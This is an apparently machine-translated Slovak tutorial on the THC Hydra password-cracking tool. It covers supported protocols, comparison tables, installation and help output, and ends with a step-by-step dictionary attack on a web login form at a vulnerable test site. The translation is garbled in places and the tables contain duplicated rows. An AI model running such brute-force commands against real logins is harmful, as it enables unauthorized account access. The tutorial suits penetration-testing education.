Heslo je technicky definované ako tajný reťazec znakov slúžiaci na autentifikáciu alebo získanie prístupu k zdrojom. Musí byť utajený a skrytý pred ostatnými, ktorí nemajú prístup k týmto zdrojom. Heslá sa v počítačoch používajú od počiatkov výpočtovej techniky. Jeden z prvých systémov zdieľania bol predstavený v roku 1961. Mal prihlasovací príkaz, ktorý vyžadoval heslo používateľa. Po zadaní HESLA systém podľa možnosti vypne tlačový mechanizmus, aby používateľ mohol súkromne zadať svoje heslo.
Sila hesla je funkciou dĺžky, zložitosti a nepredvídateľnosti. Meria účinnosť v odolávaní hádaniu alebo zlomeniu. Slabé heslá na druhej strane skracujú čas potrebný na hádanie a získanie prístupu k osobným/firemným e-mailom, citlivým údajom, ako sú finančné informácie, obchodné informácie, kreditné karty atď.
Existuje mnoho spôsobov, ako môže byť heslo slabé, čo zodpovedá sile silných stránok rôznych útočných schém. Najpopulárnejšou z tohto druhu útoku na poverenie je hrubá sila. je to metóda pokusu a omylu, ako je hádanie, pokus o dekódovanie zašifrovaných údajov, ako je heslo alebo šifrovanie údajov, ktoré používa aplikačný program alebo hackerský nástroj.
Hydra je najrýchlejší cracker na prihlasovanie do siete, ktorý podporuje množstvo protokolov o útoku. Je veľmi rýchly a flexibilný a nové moduly sa ľahko pridávajú. Tento nástroj umožňuje výskumným pracovníkom a bezpečnostným poradcom ukázať, aké ľahké by bolo získať neoprávnený prístup k systému na diaľku. Hydru napísal van Hauser a dodatočne ju podporil David Maciejak. V najnovšej aktualizácii sa vývoj hydry presúva do verejného úložiska github na: https://github.com/vanhauser-thc/thc-hydra.
Hydra bola testovaná na kompiláciu na Linuxe, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX, QNX/Blackberry a je k dispozícii pod GPLv3 so špeciálnym rozšírením licencie OpenSSL.
THC Hydra podporuje tieto protokoly: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP (S) -FORM-GET, HTTP (S) -FORM-POST, HTTP (S) -GET, HTTP (S) -HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 a v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC a XMPP.
POROVNÁVANIE HYDRY S INÝMI KRÁČKOVÝMI NÁSTROJMI
Okrem hydry existuje aj veľa nástrojov na crackovanie prihlásení, žiadny však nepodporuje obrovský zoznam protokolov a podporu paralelného prihlasovania crackerov, ako to robí hydra. Nasledujúce tabuľky uvádzajú výsledok porovnania funkcií, služieb a rýchlosti s medúzami a ncrackmi.
Vlastnosti
Funkcia | Hydra | medúza | Ncrack |
Licencia | AGPLv3 | GPLv2 | Podmienky GPLv2 + Nmap |
Podpora IPv6 | Áno | Nie | Nie |
Grafické užívateľské rozhranie | Áno | Áno | Nie |
Internacionalizovaná podpora (RFC 4013) | Áno | Nie | Nie |
Podpora HTTP proxy | Áno | Áno | Nie |
Podpora SOCKS proxy | Áno | Nie | Nie |
Podporované protokoly | 51 | 22 | 7 |
Služby
Služba | Podrobnosti | Hydra | medúza | Ncrack |
ADAM-6500 | Áno | Nie | Nie | |
AFP | Áno | Áno | Nie | |
Hviezdička | Áno | Nie | Nie | |
Heslo Cisco | Áno | Nie | Nie | |
Povoliť Cisco | Áno | Nie | Nie | |
CVS | Áno | Áno | Nie | |
Firebird | Áno | Nie | Nie | |
FTP | Áno | Áno | Áno | |
Podpora SSL | AUTHOVAŤ TLS a FTP cez SSL | AUTHOVAŤ TLS a FTP cez SSL | Nie | |
HTTP | Metóda | ZÍSKAJTE, HLAVU, POST | ZÍSKAJTE | ZÍSKAJTE |
Základná autentifikácia | Áno | Áno | Áno | |
HTTP formulár | Metóda | ZÍSKAJTE, POST | ZÍSKAJTE, POST | Nie |
Podpora SSL | HTTPS | HTTPS | Nie | |
Proxy HTTP | Základná autentifikácia | Áno | Nie | Nie |
DIGEST-MD5 Aut | Áno | Nie | Nie | |
NTLM Auth | Áno | Nie | Nie | |
Podpora SSL | HTTPS | Nie | Nie | |
Vyčíslenie adresy URL HTTP PROXY | Áno | Nie | Nie | |
ICQ | v5 | Áno 1 | Nie | Nie |
IMAP | PRIHLÁSENIE | Áno | Áno | Nie |
AUTH LOGIN podpora | Áno | Nie | Nie | |
Podpora AUTH PLAIN | Áno | Áno | Nie | |
Podpora AUTH CRAM-MD5 | Áno | Nie | Nie | |
Podpora AUTH CRAM-SHA1 | Áno | Nie | Nie | |
Podpora AUTH CRAM-SHA256 | Áno | Nie | Nie | |
Podpora AUTH DIGEST-MD5 | Áno | Nie | Nie | |
AUTH podpora NTLM | Áno | Áno | Nie | |
Podpora AUTH SCRAM-SHA1 | Áno | Nie | Nie | |
Podpora SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | Nie | |
IRC | Všeobecné heslo servera | Áno | Nie | Nie |
Heslo OPER režimu | Áno | Nie | Nie | |
LDAP | v2, Jednoduchá podpora | Áno | Nie | Nie |
v3, Jednoduchá podpora | Áno | Nie | Nie | |
v3, podpora AUTH CRAM-MD5 | Áno | Nie | Nie | |
Podpora AUTH DIGEST-MD5 | Áno | |||
AUTH podpora NTLM | Áno | Áno | ||
Podpora AUTH SCRAM-SHA1 | Áno | |||
Podpora SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | ||
IRC | Všeobecné heslo servera | Áno | ||
Heslo OPER režimu | Áno | |||
LDAP | v2, Jednoduchá podpora | Áno | ||
v3, Jednoduchá podpora | Áno | |||
v3, podpora AUTH CRAM-MD5 | Áno | |||
v3, podpora AUTH DIGEST-MD5 | Áno | |||
MS-SQL | Áno | Áno | ||
MySQL | v3.x | Áno | Áno | |
v4.x | Áno | Áno | ||
v5.x | Áno | Áno | ||
NCP | Áno | Áno | ||
NNTP | USER podpora | Áno | Áno | |
AUTH LOGIN podpora | Áno | |||
Podpora AUTH PLAIN | Áno | |||
Podpora AUTH CRAM-MD5 | Áno | |||
Podpora AUTH DIGEST-MD5 | Áno | |||
AUTH podpora NTLM | Áno | |||
Podpora SSL | STARTTLS & NNTP cez SSL | |||
Oracle | Databáza | Áno | Áno | |
Poslucháč TNS | Áno | |||
Vyčíslenie SID | Áno | |||
PC-NFS | Áno | |||
pcKdekoľvek | Natívna autentifikácia | Áno | Áno | |
Autentifikácia založená na OS (MS) | Áno | |||
POP3 | USER podpora | Áno | Áno | Áno |
Podpora APOP | Áno | |||
AUTH LOGIN podpora | Áno | Áno | ||
Podpora AUTH PLAIN | Áno | Áno | ||
Podpora AUTH CRAM-MD5 | Áno | |||
Podpora AUTH CRAM-SHA1 | Áno | |||
Podpora AUTH CRAM-SHA256 | Áno | |||
Podpora AUTH DIGEST-MD5 | Áno | |||
AUTH podpora NTLM | Áno | Áno | ||
Podpora SSL | POP3S A ŠTARTTLS | POP3S A ŠTARTTLS | POP3S | |
PostgreSQL | Áno | Áno | ||
Hviezdička | Áno | |||
PRV | Pracovná stanica Windows | Áno | Áno | Áno |
Windows Server | Áno | Áno | ||
Overenie domény | Áno | Áno | ||
REDIS | Áno | Nie | ||
REXEC | Áno | Áno | ||
PRIHLÁSIŤ | Áno | Áno | ||
RPCAP | Áno | Nie | ||
RSH | Áno | Áno | ||
RTSP | Áno | Nie | ||
SAP R / 3 | Áno | |||
Siemens S7-300 | Áno | |||
SIP | Áno | |||
Podpora SSL | SIP cez SSL | |||
SMB | Režim NetBIOS | Áno | Áno | Nie |
Natívny režim W2K | Áno | Áno | Áno | |
Režim hash | Áno | Áno | Nie | |
Vymazať autentifikáciu textu | Áno | Áno | ||
LMv1 Auth | Áno | Áno | Áno | |
LMv2 autent | Áno | Áno | Áno | |
NTLMv1 autent | Áno | Áno | Áno | |
NTLMv2 autent | Áno | Áno | Áno | |
SMTP | AUTH LOGIN podpora | Áno | Áno | |
Podpora AUTH PLAIN | Áno | Áno | ||
Podpora AUTH CRAM-MD5 | Áno | |||
Podpora AUTH DIGEST-MD5 | Áno | |||
AUTH podpora NTLM | Áno | Áno | ||
Podpora SSL | SMTPS & STARTTLS | SMTPS & STARTTLS | ||
Užívateľský súčet SMTP | VRFY cmd | Áno | Áno | |
EXPN cmd | Áno | Áno | ||
RCPT TO cmd | Áno | Áno | ||
SNMP | v1 | Áno | Áno | |
v2c | Áno | Áno | ||
v3 | (Len MD5/SHA1 autorizácia) | |||
PONOŽKY | v5, autentifikácia heslom | Áno | ||
SSH | v1 | Áno | ||
v2 | Áno | Áno | Áno | |
Kľúče SSH | v1, v2 | Áno | ||
Subversion (SVN) | Áno | Áno | ||
TeamSpeak | TS2 | Áno | ||
Telnet | Áno | Áno | Áno | |
XMPP | AUTH LOGIN podpora | Áno | ||
Podpora AUTH PLAIN | Áno | |||
Podpora AUTH CRAM-MD5 | Áno | |||
Podpora AUTH DIGEST-MD5 | Áno | |||
Podpora AUTH SCRAM-SHA1 | Áno | |||
Démon VMware Auth | v1.00 / v1.10 | Áno | Áno | |
Podpora SSL | Áno | Áno | ||
VNC | Podpora hesla RFB 3.x | Áno | Áno | |
Podpora používateľa RFB 3.x+heslo | (Iba UltraVNC) | |||
Podpora hesla RFB 4.x | Áno | Áno | ||
Podpora používateľa RFB 4.x+heslo | (Iba UltraVNC) |
Porovnanie rýchlosti
Rýchlosť (v s) | Hydra | medúza | Ncrack |
1 Modul úloh / FTP | 11,93 | 12,97 | 18.01 |
4 Úlohy / modul FTP | 4.20 | 5.24 | 9.01 |
16 Úlohy / modul FTP | 2,44 | 2,71 | 12.01 |
1 modul Task / SSH v2 | 32,56 | 33,84 | 45,02 |
4 Úlohy / modul SSH v2 | 10,95 | Zlomený | Zmeškané |
16 Úlohy / modul SSH v2 | 5.14 | Zlomený | Zmeškané |
To bol stručný jednoduchý úvod do hydry. Teraz prejdeme k inštalácii.
INŠTALÁCIA HYDRA
Hydra je predinštalovaná na kali linuxe, ak však máte iný operačný systém, môžete ho skompilovať a nainštalovať do svojho systému. V súčasnosti je podpora spoločnosti hydra na rôznych platformách:
- Všetky platformy UNIX (Linux, *bsd, Solaris atď.)
- MacOS (v podstate klon BSD)
- Windows s Cygwin (IPv4 aj IPv6)
- Mobilné systémy založené na Linuxe, MacOS alebo QNX (napr. Android, iPhone, Blackberry 10, Zaurus, iPaq)
Ak chcete stiahnuť, nakonfigurovať, skompilovať a nainštalovať hydra, stačí napísať do terminálu:
git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install
Ak máte Ubuntu/Debian, budete potrebovať niektoré knižnice závislostí:
apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev
Ak ste tieto knižnice nenašli vo svojom úložisku, musíte si ich stiahnuť a nainštalovať ručne.
AKO POUŽÍVAŤ HYDRA
Blahoželáme, teraz sa vám podarilo nainštalovať hydru do vášho systému. V skutočnosti Hydra prichádza s dvoma príchuťami, GUI-gtk a mojou obľúbenou, CLI verziou. a navyše hydra má aj CLI verziu s názvom hydra-wizard. Namiesto zadávania všetkých príkazov alebo argumentov manuálne do terminálu vás prevedie krok za krokom. Ak chcete spustiť hydru, z vášho typu terminálu:
Pre CLI:
hydra
Pre sprievodcu CLI:
hydra-wizard
Pre GUI:
xhydra
Po zadaní príkazu „hydra“ sa zobrazia nasledujúce pomocné príkazy:
[email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh
Webové prihlásenie Bruteforce s Hydra
Hydra podporuje niektoré služby bruteforcing, ako som už spomenul, jeden z nich sa používa na bruteforce webových prihlásení, ako je napríklad prihlasovací formulár do sociálnych médií, prihlasovací formulár pre bankovníctvo používateľa, webové prihlasovacie údaje smerovača atď. Táto http [s] -get-forma ktorá túto požiadavku vybaví. V tomto tutoriále vám ukážem, ako bruteforce zraniteľné webové prihlásenia. Predtým, ako spustíme hydru, mali by sme vedieť niekoľko potrebných argumentov, ako sú uvedené nižšie:
- Cieľ : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
- Prihlasovacie používateľské meno : admin (ak si nie ste istí, urobte to silou)
- Zoznam hesiel : Umiestnenie zoznamu slovníkových súborov obsahujúcich možné heslá.
- Parametre formulára : vo všeobecnosti použite údaje o sabotáži alebo server proxy na získanie formy parametrov požiadavky. Ale tu používam panel nástrojov Iceweasel, založený na Firefoxe, nástroj pre vývojárov siete.
- Servisný modul : http-post-form
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.
Získanie parametrov príspevku pomocou prehliadača, Iceweasel/Firefox
V prehliadači Firefox stlačte klávesy „ CTRL + SHIFT + Q ‘. Potom otvorte webovú prihlasovaciu stránkuhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, všimnete si, že na karte pre vývojárov siete sa objaví nejaký text. Povie vám, aké súbory sa nám prenášajú. Pozrite sa na metódu, ŽE VŠETKY ZÍSKAME, pretože sme ešte NEZARÁBALI žiadne údaje.
Ak chcete získať parametre po formulári, zadajte čokoľvek do formulára používateľského mena alebo hesla. Na karte vývojárov siete si všimnete novú metódu POST. Dvakrát kliknite na tento riadok, na karte Hlavičky kliknite na tlačidlo Upraviť a znova odoslať na pravej strane. Na žiadosť vyplňte posledný riadok, napríklad tfUName = asu & tfUPass = raimu . the tfUName a tfUPass sú parametre, ktoré potrebujeme. Ako je vidieť nižšie:
Kali linux má veľa zoznamov slov, vyberte príslušný zoznam slov alebo jednoducho použite miesto v rockyou.txt /usr/share/zoznamy slov/ ako je vidieť nižšie:
Dobre, teraz máme všetky potrebné argumenty a sme pripravení vypáliť hydru. Tu je vzor príkazu:
hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f
Poďme rozobrať príkazy:
- the : je slovo obsahujúce účet používateľského mena. Na zoznam možných používateľských mien v súbore použite -L.
- P : je zoznam možných hesiel, pomocou -p doslovne použite jednoslovné heslo, namiesto toho, aby ste ho uhádli.
- testapp.vunlwebapp.com : je názov alebo cieľ hostiteľa
- http-post-formulár : je servisný modul, ktorý používame
- /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = tri potrebné parametre, syntax je:
{page URL}: {Request post body form formes}: S = {Find what in the page after successfully logged in} - v = Podrobný režim
- V. = zobraziť prihlásenie: prejsť na každý pokus
- f = Ukončiť program, ak sa nájde párové prihlásenie: heslo
Teraz nechajme hydru, aby sa pokúsila prelomiť heslo pre nás, pretože ide o slovníkový útok, potrebuje čas. Akonáhle sa vám podarí nájsť pár prihlasovacích údajov: heslo hydra, okamžite ukončí úlohu a zobrazí platné poverenie.
Je toho toľko, čo by mohla hydra urobiť, pretože v tomto návode sme sa práve naučili, ako bruteforce prihlasovanie pomocou webu pomocou hydra, naučíme sa iba jeden protokol, a to protokol http-post-form. Hydru môžeme použiť aj proti inému protokolu, ako je ssh, ftp, telnet, VNC, proxy atď.